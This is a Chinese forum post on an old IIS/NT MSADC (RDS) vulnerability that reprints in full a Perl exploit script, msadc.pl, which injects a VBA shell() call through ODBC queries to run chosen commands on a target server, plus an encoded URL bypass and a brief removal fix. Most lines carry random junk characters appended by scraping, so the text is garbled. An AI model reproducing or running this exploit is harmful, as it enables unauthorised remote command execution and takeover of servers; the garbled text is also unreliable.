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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) sifjmNP  
G :+D1J]  
涉及程序: zz3{+1w]  
Microsoft NT server B[sI7D>Y  
evEdFY  
描述: %mlH  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 |(x%J[n0+  
SgQmR#5  
详细: n=rmf*,?  
如果你没有时间读详细内容的话,就删除: l{rHXST|  
c:\Program Files\Common Files\System\Msadc\msadcs.dll hHMp=8J7  
有关的安全问题就没有了。 M| }?5NS  
( q*/=u  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 CiU^U|~'L  
qu1! KS  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 %A `9[icy  
关于利用ODBC远程漏洞的描述,请参看: P<1&kUZL  
4Vj]bm  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm A5fzyG   
Kk.\P|k2  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 'yOx&~H]  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp #( 4)ps.  
N["M "s(N  
这里不再论述。 qzY:>>d'  
3 P\4K  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 'u PI~l`g  
JvT#Fxjk  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset {IB4%,qT  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! y\6C9%.  
G?s;L NR  
qoQ,3&<  
#将下面这段保存为txt文件,然后: "perl -x 文件名" wMm+E "}W  
&_QD1 TT  
#!perl Nsy>qa7  
# ,uO?f1  
# MSADC/RDS 'usage' (aka exploit) script G^P9_Sw]d3  
# :gkn`z  
# by rain.forest.puppy rIv#YqT  
# IH=%%AS  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Ka{QjW!%d<  
# beta test and find errors! a#Z#-y!  
\ 511?ik  
use Socket; use Getopt::Std; k fOd|-  
getopts("e:vd:h:XR", \%args); l Hu8ADva  
+^,&z}( Ak  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; slA~k;K:_  
!9zs>T&9a\  
if (!defined $args{h} && !defined $args{R}) { 0}_1 ZU  
print qq~ eZpi+BRS6  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 0*OK]`9  
-h <host> = host you want to scan (ip or domain) 7m(9|Y:Q.  
-d <seconds> = delay between calls, default 1 second l>Zp#+I-  
-X = dump Index Server path table, if available @MH/e fW.  
-v = verbose '}Jq(ah(  
-e = external dictionary file for step 5 ;M#D*<ucI:  
noWwX  
Or a -R will resume a command session !q+ %]k?x  
Em<J{`k6  
~; exit;} 5n2}|V$VqP  
a,t]>z95  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; _A$V~Hp9q  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} {y!77>Q/  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} rj eKG-Z@  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); .GDY J9vi  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} DQ6pe)E|  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ltl(S Ii  
=5p?4/4 J  
if (!defined $args{R}){ $ret = &has_msadc; <~5$<L4  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} "Bn]-o|r  
dBL{Mbh2Z  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" M)nf(jw#G  
. "cmd /c "; 9jUm0B{?  
$in=<STDIN>; chomp $in; ?P2 d 9b  
$command="cmd /c " . $in ; X2('@Yh  
rI]n4>k{  
if (defined $args{R}) {&load; exit;} D7N` %A8   
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; bJ.68643  
&try_btcustmr; 4d]T`  
])T_&%  
print "\nStep 2: Trying to make our own DSN..."; t7 $2/C  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; }~Y#N  
 0c:j wtf  
print "\nStep 3: Trying known DSNs..."; 7[7Sm^Tw  
&known_dsn; 9fb"R"(M  
~F]If\b  
print "\nStep 4: Trying known .mdbs..."; 0>?78QL9<  
&known_mdb; ~ @s$  
;Q8rAsf 9  
if (defined $args{e}){ 8:UV;5@  
print "\nStep 5: Trying dictionary of DSN names..."; <7~+ehu  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 2fJ2o[v  
S|v-lJ/I  
print "Sorry Charley...maybe next time?\n"; P^ bcc  
exit; ki_Py5  
}~o>H a;  
############################################################################## h3L{zOff  
/&'rQ`nd  
sub sendraw { # ripped and modded from whisker cd*F;h  
sleep($delay); # it's a DoS on the server! At least on mine... L sMS`o6  
my ($pstr)=@_; \ 5^GUT  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || g~=#8nJ  
die("Socket problems\n"); I'RhA\`  
if(connect(S,pack "SnA4x8",2,80,$target)){ @Nt$B'+S&  
select(S); $|=1; K5q9u-7  
print $pstr; my @in=<S>; k*xgF[T 8  
select(STDOUT); close(S); ]2B=@V t,  
return @in; E2{SKIUm  
} else { die("Can't connect...\n"); }} yn5yQ;  
M&O .7B1}  
############################################################################## w6l8RNRe  
1QH5<)Oa  
sub make_header { # make the HTTP request {wp"zaa  
my $msadc=<<EOT DW~< 8  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 z+B"RV  
User-Agent: ACTIVEDATA 3YPoObY  
Host: $ip CVBy&o"6A  
Content-Length: $clen R`|GBVbv  
Connection: Keep-Alive [2cG 7A  
sHulaX{  
ADCClientVersion:01.06 Y)4&PN~[  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 My!<_Hp-W  
0 /JusQ  
--!ADM!ROX!YOUR!WORLD! cO !2|v8i  
Content-Type: application/x-varg !pLQRnI}6  
Content-Length: $reqlen Li_ a|dI  
0dgp<  
EOT g"sW_y_O  
; $msadc=~s/\n/\r\n/g; 6muZE1sn  
return $msadc;} g&V1<n\b+  
<}$o=>'  
############################################################################## 8wqHr@}p  
aYQIe7J90J  
sub make_req { # make the RDS request M7;P)da  
my ($switch, $p1, $p2)=@_; miZ&9m  
my $req=""; my $t1, $t2, $query, $dsn; aE( j_`L78  
jDO[u!J6.%  
if ($switch==1){ # this is the btcustmr.mdb query J0M7f]  
$query="Select * from Customers where City=" . make_shell(); *:3`$`\54  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ( XoL,lJ  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} RcH",*U  
N&t+*kF_  
elsif ($switch==2){ # this is general make table query H)5v X+9D  
$query="create table AZZ (B int, C varchar(10))"; rOu7r4  
$dsn="$p1";} k%)QrRnB  
SXA_P{j&a  
elsif ($switch==3){ # this is general exploit table query ;'r} D!8w/  
$query="select * from AZZ where C=" . make_shell(); Jtxwt[  
$dsn="$p1";} t)O$W   
_"B5S?  
elsif ($switch==4){ # attempt to hork file info from index server U_HOfix  
$query="select path from scope()"; .* xaI+:  
$dsn="Provider=MSIDXS;";} ZVj/lOP X  
Ul@yXtj  
elsif ($switch==5){ # bad query + AyrKs?h  
$query="select"; 257pO9]  
$dsn="$p1";} fE;<)tU  
wBUn*L  
$t1= make_unicode($query); r-s.i+\  
$t2= make_unicode($dsn); ~P85Or  
$req = "\x02\x00\x03\x00"; s1xl*lKX%  
$req.= "\x08\x00" . pack ("S1", length($t1)); ch}t++`l]  
$req.= "\x00\x00" . $t1 ; WBgS9qiB  
$req.= "\x08\x00" . pack ("S1", length($t2)); Vs)Pg\B?  
$req.= "\x00\x00" . $t2 ; _Jc[`2Uv_c  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; rn7eY  
return $req;} {]/}3t  
R(sPU>`MX  
############################################################################## ?6F\cl0.  
_>8ZL)NQQ  
sub make_shell { # this makes the shell() statement W4Ey]y"  
return "'|shell(\"$command\")|'";} wtCz%!OYB  
WCc,RI0   
############################################################################## %># VhK  
1o. O]>  
sub make_unicode { # quick little function to convert to unicode qJb9JL$s  
my ($in)=@_; my $out; 6.| {l8%r  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ruG5~dm>  
return $out;} i"~J -{d}  
>i%{5d  
############################################################################## xn'&TQo0  
_h2axXFhT  
sub rdo_success { # checks for RDO return success (this is kludge) WKib$(%f6  
my (@in) = @_; my $base=content_start(@in); B\,pbOE?#  
if($in[$base]=~/multipart\/mixed/){ 9@LL_r`?<  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} zU;%s<(p  
return 0;} gwj+~vSfi  
>TT4;ph  
############################################################################## P".CZyI-i  
TzT(aWP"  
sub make_dsn { # this makes a DSN for us `;yfSoY  
my @drives=("c","d","e","f"); 82.::J'e  
print "\nMaking DSN: "; Wp" +\{@)  
foreach $drive (@drives) { Z6eM~$Y  
print "$drive: "; N,9W18 @  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . (*>%^C?  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" x$o?ckyH  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); G=R`O1-3  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ~ [ k0ay  
return 0 if $2 eq "404"; # not found/doesn't exist ]_6w(>A@3#  
if($2 eq "200") { gJEm  
foreach $line (@results) { Em?Z  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ' XJ>;",[  
} return 0;} |'B-^?;  
hSQuML   
############################################################################## y3^<rff3Gc  
mhZ{}~  
sub verify_exists { 9?5'>WO  
my ($page)=@_; &eL02:[  
my @results=sendraw("GET $page HTTP/1.0\n\n"); $9!2c/  
return $results[0];} ^Oy97Y  
1]Q;fe  
############################################################################## )N4!zuSVf  
+ niz(]  
sub try_btcustmr { ]W^F!p~eC  
my @drives=("c","d","e","f"); N?Byp&rqI<  
my @dirs=("winnt","winnt35","winnt351","win","windows"); .g L%0  
z ;>xI~  
foreach $dir (@dirs) { YIjY?  
print "$dir -> "; # fun status so you can see progress f;AQw_{  
foreach $drive (@drives) { 9Z.Xo kg  
print "$drive: "; # ditto 7>#?-, B  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; fhGI  
$reqlenlen=length( "$reqlen" ); TPjElBh  
$clen= 206 + $reqlenlen + $reqlen; By& T59  
'MLp*3djF,  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); dux.Z9X?  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} xeo5)  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} e :(7$jo  
r%`g` It  
############################################################################## 1>I4=mj  
z'=8U@P'#  
sub odbc_error { lyY\P6 X  
my (@in)=@_; my $base; a_jw4"Sb  
my $base = content_start(@in); |\/`YRg>  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ~m:oJ+:O  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; (}Q(Ux@X  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _ebo  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; GRM:o)4;#  
return $in[$base+4].$in[$base+5].$in[$base+6];} vO>Fj  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; T_\Nvzb}  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ;gS)o#v0  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} YfRjr  
Gw!VPFV>W  
############################################################################## sIUhk7Cd8  
w ]8+ OP  
sub verbose { oT7 6)O  
my ($in)=@_; <v&L90+s\;  
return if !$verbose; HQtR;[1  
print STDOUT "\n$in\n";} 63'Rw'g^|2  
lZ5LHUzP  
############################################################################## Qt-7jmZw1  
JXFPN|  
sub save { *Ubsa9'fS  
my ($p1, $p2, $p3, $p4)=@_; |/^ KFY"  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; +2:\oy}!8  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; tx` Z?K[  
close OUT;} w)C/EHF  
JRti2Mu  
############################################################################## R[#Np`z  
{5 V@O_*{  
sub load { b/[$bZD5o  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; v2w|?26Lf  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); O0Z !*Hy  
@p=<IN>; close(IN); ^/6LVB*  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 1zNh& "  
$target= inet_aton($ip) || die("inet_aton problems"); 6zbqv6  
print "Resuming to $ip ..."; <M){rce  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; VQ}N& H)`  
if($p[1]==1) { ]A? (OA  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; o,r72>|  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 0tz7^:|D  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ^(+ X|t  
if (rdo_success(@results)){print "Success!\n";} M `O=rH }  
else { print "failed\n"; verbose(odbc_error(@results));}} qLjLfJJ2  
elsif ($p[1]==3){ t=l@(%O 0_  
if(run_query("$p[3]")){ ^LI\W'K  
print "Success!\n";} else { print "failed\n"; }} V ,+&.A23  
elsif ($p[1]==4){ ttP|}|O  
if(run_query($drvst . "$p[3]")){ ! 3 ;;6  
print "Success!\n"; } else { print "failed\n"; }} hs;YMUA"  
exit;} :)9CG!2y<M  
Ew< sK9[o  
############################################################################## _cc3 7[  
8'>yB  
sub create_table { $^TxLv  
my ($in)=@_; uSsP'qd  
$reqlen=length( make_req(2,$in,"") ) - 28; MnL o{G]  
$reqlenlen=length( "$reqlen" ); *x!j:/S`n  
$clen= 206 + $reqlenlen + $reqlen; ltWEA  
my @results=sendraw(make_header() . make_req(2,$in,"")); L`2(u!i J  
return 1 if rdo_success(@results); b6%[?k  
my $temp= odbc_error(@results); verbose($temp); vRhI:E)So#  
return 1 if $temp=~/Table 'AZZ' already exists/; eoj(zY3  
return 0;} D6I-:{ws  
O*SJx.  
############################################################################## FOyANN'  
R$Rub/b6  
sub known_dsn { ;No i H&  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go + *W%4e  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", MZrLLnl6\  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", y&n-8L_  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); */_$' /q V  
Lo<WK  
foreach $dSn (@dsns) { ?]%ZJd  
print "."; >b7Yk)[%  
next if (!is_access("DSN=$dSn")); xe4`D>LUo  
if(create_table("DSN=$dSn")){ m2a [ E0  
print "$dSn successful\n"; ZGw 6Bd_I  
if(run_query("DSN=$dSn")){ +B '<0  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { X :#}E7]j  
print "Something's borked. Use verbose next time\n";}}} print "\n";} {^@vCBE+  
6:Hd`  
############################################################################## %zKTrsMZ  
`_iK`^(-  
sub is_access { " k0gZb  
my ($in)=@_; j'uzjs[  
$reqlen=length( make_req(5,$in,"") ) - 28; ]\1H=g%Ou  
$reqlenlen=length( "$reqlen" ); cy64xR BB  
$clen= 206 + $reqlenlen + $reqlen; r9Vt}]$aG  
my @results=sendraw(make_header() . make_req(5,$in,"")); [-0=ZKH?  
my $temp= odbc_error(@results); RRb>]oD  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); H73 r3BH  
return 0;} |jI|} ,I  
gJ H^f3  
############################################################################## cd&sAK"  
@ N@ !Q  
sub run_query { yHo#v:>?p  
my ($in)=@_; Eo`'6 3  
$reqlen=length( make_req(3,$in,"") ) - 28; BhUGMK  
$reqlenlen=length( "$reqlen" ); 5yL\@7u`  
$clen= 206 + $reqlenlen + $reqlen; g [u*`]-;v  
my @results=sendraw(make_header() . make_req(3,$in,"")); :bq$ {  
return 1 if rdo_success(@results); {^.q6,l  
my $temp= odbc_error(@results); verbose($temp); M?00n< vM  
return 0;} =B{B ?B"r  
\"a~~Koe  
############################################################################## );/p[Fd2]  
e +Ikw1y"f  
sub known_mdb { *x/H   
my @drives=("c","d","e","f","g"); +ovT?CM o  
my @dirs=("winnt","winnt35","winnt351","win","windows"); B un^EJ)  
my $dir, $drive, $mdb; mwMcAUD]2  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 0}` 0!Kv  
_oHxpeM  
# this is sparse, because I don't know of many P\y ZcL  
my @sysmdbs=( "\\catroot\\icatalog.mdb", %0zp`'3Y  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", V)fF|E~0  
"\\system32\\certmdb.mdb", cte Wl/v  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 12V-EG i  
#~o<9O  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", s$ kvLy<  
"\\cfusion\\cfapps\\forums\\forums_.mdb", SN 4JX  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", -C2[ZP-  
"\\cfusion\\cfapps\\security\\realm_.mdb", sk5B} -  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", zWrynJ}s  
"\\cfusion\\database\\cfexamples.mdb", L0R$T=~%)  
"\\cfusion\\database\\cfsnippets.mdb", 9JqT"zj  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ]*X z~Ox2  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", q8)w Al  
"\\cfusion\\brighttiger\\database\\cleam.mdb", o]eG+i6g]  
"\\cfusion\\database\\smpolicy.mdb", Jsa;pG=3&  
"\\cfusion\\database\cypress.mdb", :(K JLa]  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 5`6U:MDq  
"\\website\\cgi-win\\dbsample.mdb", gL &)l!2Y  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",  e**5_L  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" B2:GGZ|jS  
); #these are just q26 qY5D  
foreach $drive (@drives) { u"F{cA!B  
foreach $dir (@dirs){ w0O(>  
foreach $mdb (@sysmdbs) { _&M^}||UH  
print "."; !TN)6e7`  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ U J uz  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ezA&cZ5  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ,b<m],p  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; mYqLqezAA  
} else { print "Something's borked. Use verbose next time\n"; }}}}} A>f rf[fAW  
.IsOU  
foreach $drive (@drives) { U1D;O}z~  
foreach $mdb (@mdbs) { Z-L}"~  
print "."; ~ %Ij5PD  
if(create_table($drv . $drive . $dir . $mdb)){ Z6nQW53-  
print "\n" . $drive . $dir . $mdb . " successful\n"; y:Agmr,S  
if(run_query($drv . $drive . $dir . $mdb)){ Ih[k{p  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ltv ~Kh  
} else { print "Something's borked. Use verbose next time\n"; }}}} ^SbxClUfw!  
} s w50lId  
YlXqj\a  
############################################################################## 4WPco"xH!  
j>5X^Jd  
sub hork_idx { dpT?*qLM  
print "\nAttempting to dump Index Server tables...\n"; LlD=c  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; [sK'jQo-[1  
$reqlen=length( make_req(4,"","") ) - 28; RSx{Gbd4X  
$reqlenlen=length( "$reqlen" ); !/]z-z2>  
$clen= 206 + $reqlenlen + $reqlen; y"iK)SH  
my @results=sendraw2(make_header() . make_req(4,"","")); 94?/Rhs5  
if (rdo_success(@results)){ h(i_'P?  
my $max=@results; my $c; my %d; S3Fj /2Q8  
for($c=19; $c<$max; $c++){ s~A:*2\  
$results[$c]=~s/\x00//g; F5+!Gb En  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; a :CeI  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; OX}ZdM!&f  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; O' Mma5  
$d{"$1$2"}="";} @P">4xVX{  
foreach $c (keys %d){ print "$c\n"; } M 9 N'Hk=  
} else {print "Index server doesn't seem to be installed.\n"; }} EL6<%~,V"I  
_`Dz%(c  
############################################################################## W]D+[mpgK  
`69xR[f  
sub dsn_dict { u~!Pzz3"  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); mj ,Oy  
while(<IN>){ zpy&\#Vc  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; }vZTiuzC  
next if (!is_access("DSN=$dSn")); KDr)'gl&  
if(create_table("DSN=$dSn")){ V$ho9gQ!l[  
print "$dSn successful\n"; !,~C  
if(run_query("DSN=$dSn")){ Gw#z:gX2  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { XvZ5Q  
print "Something's borked. Use verbose next time\n";}}} R8|F qBs  
print "\n"; close(IN);} Yez  
aW#^@||B  
############################################################################## ]sqp^tQ`e  
LAGg(:3f3  
sub sendraw2 { # ripped and modded from whisker -3SRGr  
sleep($delay); # it's a DoS on the server! At least on mine... C9j5Pd5q1L  
my ($pstr)=@_; "uBr]N:  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 6Z-[-0o+g  
die("Socket problems\n"); ~2UmX'  
if(connect(S,pack "SnA4x8",2,80,$target)){ ig'4DmNC  
print "Connected. Getting data"; 3 =_to7]  
open(OUT,">raw.out"); my @in; d3p;[;`  
select(S); $|=1; print $pstr; zc1~ q  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} f.RwV+lq  
close(OUT); select(STDOUT); close(S); return @in; Oe0dC9H  
} else { die("Can't connect...\n"); }} (Li)@Cn%  
Mvk#$:8e  
############################################################################## %p};Di[V  
T_qh_L3  
sub content_start { # this will take in the server headers u73/#!(1=H  
my (@in)=@_; my $c; ~{D:vj4>  
for ($c=1;$c<500;$c++) { 2vW@d[<J  
if($in[$c] =~/^\x0d\x0a/){ wQU-r|  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } r]%.,i7~8  
else { return $c+1; }}} 30h1)nQ$h}  
return -1;} # it should never get here actually R[2h!.O8  
`4"&_ltD  
############################################################################## d-"[-+)-  
u &{|f  
sub funky { :LB< z#M  
my (@in)=@_; my $error=odbc_error(@in); @_?8I_\:  
if($error=~/ADO could not find the specified provider/){ cKAZWON8;v  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; j*jq2u  
exit;} #~[mn_C  
if($error=~/A Handler is required/){ <PQ[N[SU  
print "\nServer has custom handler filters (they most likely are patched)\n"; Y0nuwX*{  
exit;} <$`ud P@  
if($error=~/specified Handler has denied Access/){ pl.=u0 *  
print "\nServer has custom handler filters (they most likely are patched)\n"; <~Tfi*^+  
exit;}} 7@i2Mz/eV  
[oS.B\Vc  
############################################################################## Zx,a j  
?Tk4Vt  
sub has_msadc { )h(yh50 B  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); g$S<_$Iey  
my $base=content_start(@results); U=UnE"h  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Xu\22/Co  
return 0;} LWP&Si*j  
q8vRUlf  
######################## [>f4&yY  
@0rwvyE=+3  
3WF6bJN  
解决方案: _xXDvBU  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll jz$83TB-  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 -%)8=  
?28aEX_w  
拿出来充数 哈哈
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